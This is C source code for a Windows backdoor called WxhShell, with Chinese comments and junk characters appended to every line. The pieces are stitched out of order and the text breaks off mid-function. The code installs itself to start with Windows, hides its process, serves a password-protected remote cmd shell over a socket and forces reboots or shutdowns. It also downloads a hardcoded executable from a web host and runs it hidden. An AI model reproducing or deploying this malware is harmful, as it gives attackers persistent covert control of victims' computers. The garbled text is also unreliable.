    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `J1HQ!Z  
    if(Boot(SHUTDOWN)) E7t;p)x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3w</B- |nQ  
    else { ;h\T7pwwb  
    closesocket(wsh); ;xZjt4M1  
    ExitThread(0); ,Klv[_x7  
    } =}vT>b  
    break; _]-4d_&3(  
    } C,An\lsT  
  // 获取shell W7^[W.  
  case 's': { Xx"<^FS[zC  
    CmdShell(wsh); G@.MP| 2  
    closesocket(wsh); $#q`Y+;L2  
    ExitThread(0); #L~i|(=U5  
    break; 1h&`mqY)L.  
  } ? 3=G'Ip5n  
  // 退出 %WgN+A0  
  case 'x': { 2%dL96  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &}r"Z?f)  
    CloseIt(wsh); fes s6=k  
    break; @eJCr)#}  
    } <.Ws; HN}  
  // 离开 Iko]c_W0  
  case 'q': { VG);om7`PD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |5bLV^mv]i  
    closesocket(wsh); fbNzRXw  
    WSACleanup(); X` zWw_i  
    exit(1); gv''A"  
    break; unLhI0XW  
        } /' + >/  
  } j{@6y  
  } EU$.{C_O(  
Ks-$:~?5":  
  // 提示信息 t:2v`uk  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u= NLR\  
} .\n` 4A1z  
  } +n)n6} S  
"2l`XH  
  return; @1MnJP  
} )S caT1I  
p+;& Gg54  
// shell模块句柄 qhEv6Yxfw6  
int CmdShell(SOCKET sock) .UG`pRC  
{ ?13qDD:  
STARTUPINFO si; `#N/]4(j  
ZeroMemory(&si,sizeof(si)); BmG(+;;&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QO2cTk m  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vrkY7L3\  
PROCESS_INFORMATION ProcessInfo; /ad9Q~nJ  
char cmdline[]="cmd"; U ? +_\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x4oWZEd  
  return 0; 4J2^zx,H  
} cCe~Ol XQ  
l4OrlS/5  
// 自身启动模式 >]\I:T  
int StartFromService(void) ffZ~r%25{  
{ ;2p+i/sVj  
typedef struct tAdE<).!  
{  .Q{RT p  
  DWORD ExitStatus; S/nPK,^d2  
  DWORD PebBaseAddress; Zh=a rlk  
  DWORD AffinityMask; 2 T!Tiu  
  DWORD BasePriority;  c0oHE8@  
  ULONG UniqueProcessId; 558P"w0"X  
  ULONG InheritedFromUniqueProcessId; 9a}9cMJ^"  
}   PROCESS_BASIC_INFORMATION; M|WBJ'#x0  
Y%pab/Y  
PROCNTQSIP NtQueryInformationProcess; fpD$%.y'J  
ghk=` !yKw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Zw.8B0W  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7>FXsUt_  
 =<HDek  
  HANDLE             hProcess; Ld4U  
  PROCESS_BASIC_INFORMATION pbi; UB/> Ro  
M+)a6ge  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1( pHC  
  if(NULL == hInst ) return 0; Wg']a/m  
lW+mH=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -(qRC0V  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Zh"m;l/]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [#PE'i4  
a=iupXre9  
  if (!NtQueryInformationProcess) return 0; b/wpk~qi  
|9CikLX)7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  I//=C6  
  if(!hProcess) return 0; g.lTNQm$u  
WYP;s7_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %;PpwI  
%#HU~X:  
  CloseHandle(hProcess); 0MG>77  
y&/IJst&aq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C($l'jd&  
if(hProcess==NULL) return 0; !"rPSGK*  
xa>| k>I  
HMODULE hMod; =>jp\A  
char procName[255]; J:xGEa t  
unsigned long cbNeeded; B,%Vy!o  
dY*q[N/pO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "mlQ z4D)5  
@60D@Y  
  CloseHandle(hProcess); 2w 2Bc+#o  
C]`uC^6g  
if(strstr(procName,"services")) return 1; // 以服务启动 *l2`- gbE  
l/eF P  
  return 0; // 注册表启动 @~3--  
} O$Rz/&  
d9N[f>  
// 主模块 ,eXtY}E  
int StartWxhshell(LPSTR lpCmdLine) h>N}M}8  
{ GG} %  
  SOCKET wsl; 8y;Rw#Dz  
BOOL val=TRUE; __=H"UhWv  
  int port=0; 79\ wjR!T  
  struct sockaddr_in door; _P>YG<*"kQ  
#[93$)Gd!  
  if(wscfg.ws_autoins) Install(); 8bIP"!=*W  
i5,iJe0cA  
port=atoi(lpCmdLine); ).T&fa"  
>=~\b  
if(port<=0) port=wscfg.ws_port; 2]>O ZhS  
}3pM,.  
  WSADATA data; @<.@ X*#I  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Gw M:f/eV  
!`DRJ)h  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I \:WD"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &V"oJ}M/a  
  door.sin_family = AF_INET; !X>u.}?g  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e+ xQ\LH  
  door.sin_port = htons(port); V Z(/g"9  
YOCEEh?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $.G 7Vt  
closesocket(wsl); 9U8M|W|d  
return 1; S,Y|;p<+^  
} c}(WniR-"  
%)ho<z:7U  
  if(listen(wsl,2) == INVALID_SOCKET) { K,b M9>}  
closesocket(wsl); 3DU1c?M:  
return 1; Ndmt$(b  
}  Z>[7#;;  
  Wxhshell(wsl); 2*#|t: (c  
  WSACleanup(); }X(&QZ7i`  
+mQ5\14#  
return 0; =L6#=7hcl  
m'4f'tbN  
} rzjVUPdnh  
c_lHj#A(l  
// 以NT服务方式启动 )>volP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {SoI;o_>  
{ v4$/LUJZp  
DWORD   status = 0; 5]xuU.w'  
  DWORD   specificError = 0xfffffff; #c"eff  
d,<ni"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; NBikYxa  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .~z'm$s1o  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9shf y4?k  
  serviceStatus.dwWin32ExitCode     = 0; ]WT@&F  
  serviceStatus.dwServiceSpecificExitCode = 0; FG?Mc'r&  
  serviceStatus.dwCheckPoint       = 0; la!]Y-s)'4  
  serviceStatus.dwWaitHint       = 0; 8@3K, [Mo  
sI ,!+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $ Y/9SD  
  if (hServiceStatusHandle==0) return; Jt~Ivn,  
hI[} -  
status = GetLastError(); &2'-v@kK  
  if (status!=NO_ERROR) tvkdNMyX%9  
{ &|v)   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; h`[$ Bp  
    serviceStatus.dwCheckPoint       = 0; ,75)  
    serviceStatus.dwWaitHint       = 0; *~rj!N?;  
    serviceStatus.dwWin32ExitCode     = status; Q eeV<  
    serviceStatus.dwServiceSpecificExitCode = specificError; "wUIsuG/p  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7"(!]+BW!O  
    return; TBlSZZ-55]  
  } k,h602(  
d {z[46>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; te_2"Z  
  serviceStatus.dwCheckPoint       = 0; `lf_wB+I  
  serviceStatus.dwWaitHint       = 0; -,bFGTvYQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '&>"`q  
} 4kOO3[r  
#-{<d% qk  
// 处理NT服务事件,比如:启动、停止 Na\ZV|;*tu  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j3-YZKpg  
{ `Sod]bO +U  
switch(fdwControl) b3(* /KgK  
{ 9A .RD`fg  
case SERVICE_CONTROL_STOP: m5Bf<E,c  
  serviceStatus.dwWin32ExitCode = 0; b R\7j+*&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $|4@Zx4vf  
  serviceStatus.dwCheckPoint   = 0; [W[{ 4 Xu  
  serviceStatus.dwWaitHint     = 0; bS_#3T  
  { ~.a"jYb7A}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ggso9ZlLu+  
  } WBe0^=x  
  return; 1 ZdB6U0  
case SERVICE_CONTROL_PAUSE: PKm|?kn{0(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $l.*;h*  
  break; qwTz7r  
case SERVICE_CONTROL_CONTINUE: r]B8\5|<d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *TOdIq&z  
  break; .i0K-B  
case SERVICE_CONTROL_INTERROGATE: kpOdyn(  
  break; _]:b@gXUw  
}; *k?:k78L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qGk+4 yC  
} _&KqmQ8$7  
Im]@#X  
// 标准应用程序主函数 =H95?\}T[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) WtSs:D  
{ K#"=*p,  
,p2UshOmd  
// 获取操作系统版本 u6iW1,#  
OsIsNt=GetOsVer(); #^FM~5KK  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +qi& ?}  
!R{IEray  
  // 从命令行安装 JsaXI:%1  
  if(strpbrk(lpCmdLine,"iI")) Install(); ':4cQ4Z  
ucCf%T\:  
  // 下载执行文件 1]xk:u4LA  
if(wscfg.ws_downexe) { CEfqFn3^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X9>fE{)!  
  WinExec(wscfg.ws_filenam,SW_HIDE); n Ja!&G&  
} r6<;bO(  
S ?Zh#`(*  
if(!OsIsNt) { \PX4>/d@y  
// 如果时win9x,隐藏进程并且设置为注册表启动 }D1x%L  
HideProc(); G?Et$r7:R  
StartWxhshell(lpCmdLine); `kKssU<  
} 8}%F`=Y0  
else pwSgFc$z  
  if(StartFromService()) iUkUo x  
  // 以服务方式启动 5(;Y&?k  
  StartServiceCtrlDispatcher(DispatchTable); )W\)37=.  
else I| TNo-!$  
  // 普通方式启动 $<*) 5|6  
  StartWxhshell(lpCmdLine); B4s$| i{D  
2- iY:r  
return 0; !$)reaS  
} HZrA}|:h  
J+D|/^  
"O$bq::(]e  
Omd;  
=========================================== Jb,54uN  
Y:*% [\R  
@ f[-  
+.cpZqWn3  
i?L=8+9f  
QE 4   
" /*C!]Z>.  
UiU/p  
#include <stdio.h> C T~6T&'  
#include <string.h> (g6e5Sgi>  
#include <windows.h> "LlpZtw  
#include <winsock2.h> >Eh U{@Y  
#include <winsvc.h> s.M39W?  
#include <urlmon.h> QO@86{u#Y  
g{&5a(W&`  
#pragma comment (lib, "Ws2_32.lib") *qpFt Bg  
#pragma comment (lib, "urlmon.lib") |n_N.Z  
rgy I:F.  
#define MAX_USER   100 // 最大客户端连接数 ;<~f-D,  
#define BUF_SOCK   200 // sock buffer N^ +q^iW  
#define KEY_BUFF   255 // 输入 buffer ._+cvXy  
q<AnWNheE  
#define REBOOT     0   // 重启 bRo<~ rp%  
#define SHUTDOWN   1   // 关机 zC50 @S3|  
?NE/ }?a  
#define DEF_PORT   5000 // 监听端口 RO3LZBL  
lpT&v ;$`  
#define REG_LEN     16   // 注册表键长度 &M-vKc"d  
#define SVC_LEN     80   // NT服务名长度 sRB=<E*_  
|v+z*}fKw  
// 从dll定义API 9J:|"@)N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l|q-kRRjn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d` GN!^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %/dOV[/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); t 7Y*/v&P(  
@9^OHRZX  
// wxhshell配置信息 F:/x7]7??Z  
struct WSCFG { ?NBae\6r  
  int ws_port;         // 监听端口 ]m_x;5s $  
  char ws_passstr[REG_LEN]; // 口令 %oBP6|e  
  int ws_autoins;       // 安装标记, 1=yes 0=no zw#n85=  
  char ws_regname[REG_LEN]; // 注册表键名 =r]l"T  
  char ws_svcname[REG_LEN]; // 服务名 Xg~9<BGsi  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 stiF`l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 81nD:]7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )\])?q61  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j_C"O,WS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Nuqmp7C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 eA N{BPN [  
d==0 @`  
}; !'_7MM  
!B`z|#  
// default Wxhshell configuration 7U7!'xU  
struct WSCFG wscfg={DEF_PORT, 8#!g;`~ D  
    "xuhuanlingzhe", A%#M#hD/  
    1, sOqFEvzo1%  
    "Wxhshell", cB&_':F  
    "Wxhshell", -9vNV:c  
            "WxhShell Service", B/X$ZQ0  
    "Wrsky Windows CmdShell Service", RUY7Y?  
    "Please Input Your Password: ", O=__w *<  
  1, ")KqPD6k  
  "http://www.wrsky.com/wxhshell.exe", !-MY< '  
  "Wxhshell.exe" `BmnXWMgx  
    }; 3cHYe  
 hh4R  
// 消息定义模块 a!R*O3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L9jT :2F  
char *msg_ws_prompt="\n\r? for help\n\r#>"; J0V m&TY  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ILr=< j  
char *msg_ws_ext="\n\rExit."; 1;[KBYUH  
char *msg_ws_end="\n\rQuit."; +cfcr*  
char *msg_ws_boot="\n\rReboot..."; 8SpG/gl"  
char *msg_ws_poff="\n\rShutdown..."; Y. J!]|  
char *msg_ws_down="\n\rSave to "; \W=3P[gb  
D%+yp  
char *msg_ws_err="\n\rErr!"; FS}b9sQ)  
char *msg_ws_ok="\n\rOK!"; G^B> C  
+iQ@J+k  
char ExeFile[MAX_PATH]; ;6@sC[  
int nUser = 0; HGAi2+&  
HANDLE handles[MAX_USER]; s(py7{ ^K  
int OsIsNt; 'goKYl#1Q  
{|>'(iqH"w  
SERVICE_STATUS       serviceStatus; + yI$4MY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Muwlehuq  
Cu`  
// 函数声明 # fqrZ9:@  
int Install(void); TG;[,oa  
int Uninstall(void); Q z(n41@`  
int DownloadFile(char *sURL, SOCKET wsh); G,>YzjMY`  
int Boot(int flag); ^EiU>   
void HideProc(void); U!uPf:p2  
int GetOsVer(void); Ma!  
int Wxhshell(SOCKET wsl); \^6[^\@[  
void TalkWithClient(void *cs); 2|x !~e.  
int CmdShell(SOCKET sock); %GTFub0 F  
int StartFromService(void); UYxn? W.g  
int StartWxhshell(LPSTR lpCmdLine); SY|K9$M^  
a0hBF4+6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Sm<*TH!\n_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =4`wYh  
T1q27I  
// 数据结构和表定义 i&m_G5u88  
SERVICE_TABLE_ENTRY DispatchTable[] = U;/2\Ii  
{ QM8Ic,QFvo  
{wscfg.ws_svcname, NTServiceMain}, R*vQvO%)h  
{NULL, NULL} PR5N:Bw  
}; |Uics:cQC  
{C&U q#V  
// 自我安装 0g30nr)  
int Install(void) f I=G>[  
{  dwk%!%  
  char svExeFile[MAX_PATH]; g"748LY>=p  
  HKEY key; |\dv$`_T  
  strcpy(svExeFile,ExeFile); -$"$r ~ad  
=Rx4ZqTI|  
// 如果是win9x系统,修改注册表设为自启动 O:#YLmbCN  
if(!OsIsNt) { rJGh3%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M 6&=-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0U~$u  
  RegCloseKey(key); +YZo-tE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sJKr%2nVV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V?dwTc  
  RegCloseKey(key); M~\dvJ$cH  
  return 0; ATqblU>D  
    } O|sk "YXF  
  } O)`L( x  
} :+6W%B  
else { q83^?0WD  
]=t}8H  
// 如果是NT以上系统,安装为系统服务 u `/V1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6HZtdRQF  
if (schSCManager!=0) FB wG3x  
{ ~qQZhu"  
  SC_HANDLE schService = CreateService L9O;K$[s  
  ( |` ~ioF  
  schSCManager, O`0r'&n  
  wscfg.ws_svcname, D2}^TIg  
  wscfg.ws_svcdisp, CPZ,sWg5  
  SERVICE_ALL_ACCESS, [L X/O@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zoi0Z  
  SERVICE_AUTO_START, ke8g tbm  
  SERVICE_ERROR_NORMAL, -XXsob}/8  
  svExeFile, .KKecdd?=  
  NULL, r QiRhp  
  NULL, MJ ch Z  
  NULL, ?:3hp2k<  
  NULL, n4!RGq.}  
  NULL .iy>N/u  
  ); !.,J;Qt  
  if (schService!=0) M>Q ZN  
  { gdeM,A|  
  CloseServiceHandle(schService); D&F{0  
  CloseServiceHandle(schSCManager); [hSJ)IZh  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); keLeD1  
  strcat(svExeFile,wscfg.ws_svcname); 1Sz tN3'q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { AE>W$x8P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Bk\Y v0  
  RegCloseKey(key); Wz.iDRFl  
  return 0; o3hgkoF   
    } ;Tr,BfV|Bf  
  } 5e. aTW;U  
  CloseServiceHandle(schSCManager); >BO$tbU5b  
} -9FGFBm4]  
} ld ]*J}cw  
:0:Tl/))  
return 1; g ptf*^s  
} xjr4')h  
T`wDdqWbEG  
// 自我卸载 SI~jM:S}  
int Uninstall(void) jbipNgxkr  
{ vN^.MR+<  
  HKEY key; cy.r/Z}  
~D3 S01ecM  
if(!OsIsNt) { s>o#Ob@4'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2, )>F"R  
  RegDeleteValue(key,wscfg.ws_regname); %\ i&g$  
  RegCloseKey(key); ^O*-|ecA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tnobqL'  
  RegDeleteValue(key,wscfg.ws_regname); :pdX  
  RegCloseKey(key); V5(_7b#z``  
  return 0; FA*$ dwp  
  } rs?Dn6:;B  
} =gI41Y]  
} OJpfiZ@Q_  
else { R`@T<ob)  
l+@;f(8}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); iOg4(SPci  
if (schSCManager!=0) g_cED15  
{ x3&gB`j-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); GGEM&0*  
  if (schService!=0) iGhvQmd(/*  
  { qZ^ PC-  
  if(DeleteService(schService)!=0) { 0\:= KIY.  
  CloseServiceHandle(schService); x7/Vf,N  
  CloseServiceHandle(schSCManager); |Jn|GnM  
  return 0; Is4,QnY_[  
  } g0j)k6<6(Y  
  CloseServiceHandle(schService); `;Tf_6c  
  } |:5O|m '  
  CloseServiceHandle(schSCManager); h,R Isq;`  
} J-tqEK*  
} ns>$  
A .&c>{B7  
return 1; w@^J.7h^  
} ?)-6~p 4N  
Mc.{I"c@  
// 从指定url下载文件 |gI>Sp%Fu  
int DownloadFile(char *sURL, SOCKET wsh) pFS@yHs  
{ **%&|9He  
  HRESULT hr; $x'jf?zs!  
char seps[]= "/"; pL1ABvBB  
char *token; ;Va(l$zD  
char *file; Q&:)D7m\)S  
char myURL[MAX_PATH]; rQ{|0+l  
char myFILE[MAX_PATH]; zA9q`ePS  
C zJ-tEO  
strcpy(myURL,sURL); w\GJ,e  
  token=strtok(myURL,seps); 4,LS08&gh  
  while(token!=NULL) `z'8"s  
  { kMCP .D45;  
    file=token; :Q DkaA  
  token=strtok(NULL,seps); AuQ|CXG-\  
  } _y[C52,  
R 9` [C  
GetCurrentDirectory(MAX_PATH,myFILE); zN!W_2W*  
strcat(myFILE, "\\"); + )Qu,%2   
strcat(myFILE, file); _">F]ptI;  
  send(wsh,myFILE,strlen(myFILE),0); YCiG~y/~  
send(wsh,"...",3,0); d.+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v_5qE  
  if(hr==S_OK) ru 6`Z+p  
return 0; (.P}>$M9  
else `15}jTi  
return 1; +8zACs{p  
8%CznAO"?W  
} 6 8,j~e3-i  
,WWd%DF)  
// 系统电源模块 d]e36Dwk  
int Boot(int flag) <8 <P,  
{ V.:,Q  
  HANDLE hToken; )!27=R/  
  TOKEN_PRIVILEGES tkp; 2*V%S/cck  
LRHod1}mS  
  if(OsIsNt) { ?\,;KNQr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5 %\K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K>+ v" x  
    tkp.PrivilegeCount = 1; &D M3/^70  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +:@^nPfHy  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); P?V+<c{  
if(flag==REBOOT) { =F_uK7W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s?}qia\~m  
  return 0; 5z0Sns  
}  #B~ ;j5  
else { W,[ RB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) HD KF>S_S  
  return 0; EM@|^47$  
} 0bh 6ay4  
  } r5s{t4 ;Ch  
  else { LmJjO:W}^y  
if(flag==REBOOT) { ~$6` e:n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3iw3:1RZUZ  
  return 0; d~QKZ&jf  
} acS~%^"<_  
else { sC\?{B0 r  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) WDghlC6g!l  
  return 0; d [l8qaD  
} B bmw[Qf\  
} @@\qso  
DL V ny]  
return 1; ThX3@o  
} 9ad)=3A&L  
1oO(;--u_  
// win9x进程隐藏模块 J'WzEgCnU  
void HideProc(void) }}k%.Qb  
{ x~}&t+FK  
x} =,'Ko}3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >oq\`E  
  if ( hKernel != NULL ) h<?Px"& J  
  { k:?)0Uh%^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); QaO9-:]eN  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t+A*Ws*o  
    FreeLibrary(hKernel); u|wl;+.  
  } $Mg O)bH  
MRz f#o<H  
return; k^d]EF  
} G_=i#Tu[  
c=tbl|Cq  
// 获取操作系统版本 }5PC53q  
int GetOsVer(void) 'yH  
{ t"Du  
  OSVERSIONINFO winfo; <UO[*_,\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^E/6 vG  
  GetVersionEx(&winfo); UUz{Qm%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0Md.3kY  
  return 1; W>!:K^8]  
  else dn'|~zf.  
  return 0; AB%i|t  
} " l|`LjP5M  
[H\0 '  
// 客户端句柄模块 P'B|s /)  
int Wxhshell(SOCKET wsl) F6 ~ ;f;  
{ /D9#v1b  
  SOCKET wsh; k+[oYd  
  struct sockaddr_in client; ~c v|,  
  DWORD myID; +vJ}'uR3P  
g \S6>LG!  
  while(nUser<MAX_USER) F\&wFA'J  
{ N>EMVUVS  
  int nSize=sizeof(client); ,k.")  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j{FRD8]V  
  if(wsh==INVALID_SOCKET) return 1; 7)D[}UXz  
K+ /wJ9^B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &&$*MHJ  
if(handles[nUser]==0) T0fm6 J  
  closesocket(wsh); Hj`'4  
else 9?sY!gXc  
  nUser++; p/0dtnXa(  
  } sE]z.Po=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N68]r 3/K  
V1Ft3Msq  
  return 0; 5hEA/G  
} ,^ ,R .T  
m~=VUhPd  
// 关闭 socket B7qi|Fw  
void CloseIt(SOCKET wsh) SD~4CtlfI  
{ =@O&$&  
closesocket(wsh); %Qj$@.*:  
nUser--; 8[@Y`j8  
ExitThread(0); ~a  V5  
} J0bcW25  
0u"j^v  
// 客户端请求句柄 tol-PJS}  
void TalkWithClient(void *cs) q@S \R 7R  
{ ^3vI NF  
 ,e 7 ~G  
  SOCKET wsh=(SOCKET)cs; }t(5n$go6  
  char pwd[SVC_LEN]; KRm)|bgE  
  char cmd[KEY_BUFF]; 9qi|)!!L  
char chr[1]; 07qjWo/t  
int i,j; |Z>}#R!,P  
)RFY2 }  
  while (nUser < MAX_USER) { %! Sjbh  
lhE]KdE3  
if(wscfg.ws_passstr) { 4VF]t X?o  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ci? \W6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mK7SEH;  
  //ZeroMemory(pwd,KEY_BUFF); qldm"Ul  
      i=0; 6&i])iH  
  while(i<SVC_LEN) { 7^.g\Kt?  
j?tE#  
  // 设置超时 +5O^{Ce6  
  fd_set FdRead; $pPc}M[h  
  struct timeval TimeOut; 6C"${}S F`  
  FD_ZERO(&FdRead); jN= !Q&^i[  
  FD_SET(wsh,&FdRead); D?xR>Oo)  
  TimeOut.tv_sec=8; ?Nt m5(R  
  TimeOut.tv_usec=0; Su@V5yz  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3&[d.,/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z *tHZ7 b  
;O>zA]Z8r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V@z/%=PJ  
  pwd=chr[0]; Zl# ';~9W  
  if(chr[0]==0xd || chr[0]==0xa) { (O:&RAkk7  
  pwd=0; :`BG/  
  break; 7/]Ra  
  } j/wQ2"@a  
  i++; k;Qm%B  
    } 2GigeN|1N  
:Eg4^,QX  
  // 如果是非法用户,关闭 socket [70 _uq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5 <KBMCn  
} /i!/)]*-  
u1'l4VgT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Wxj(3lg/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Wl&6T1A`"  
jv29,46K  
while(1) { UY *Z`$  
ze8MFz'm  
  ZeroMemory(cmd,KEY_BUFF); Cvt/ot-J?  
`]6W*^'PD  
      // 自动支持客户端 telnet标准   n|.>41bJ  
  j=0; 9O&MsTmg$  
  while(j<KEY_BUFF) { _jCu=l_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W`#E[g?]  
  cmd[j]=chr[0]; %,8 "cM`D  
  if(chr[0]==0xa || chr[0]==0xd) { 9QF,ynE  
  cmd[j]=0; W^,p2  
  break; rV%;d[LB  
  } ki `ur%h  
  j++; !8 l &%  
    } r;waT@&C  
{A MAQ  
  // 下载文件 A$zC$9{0I  
  if(strstr(cmd,"http://")) { ?56;<%0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); s<C66z  
  if(DownloadFile(cmd,wsh)) p)Ht =~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ba%b]vp  
  else `ST;";7!  
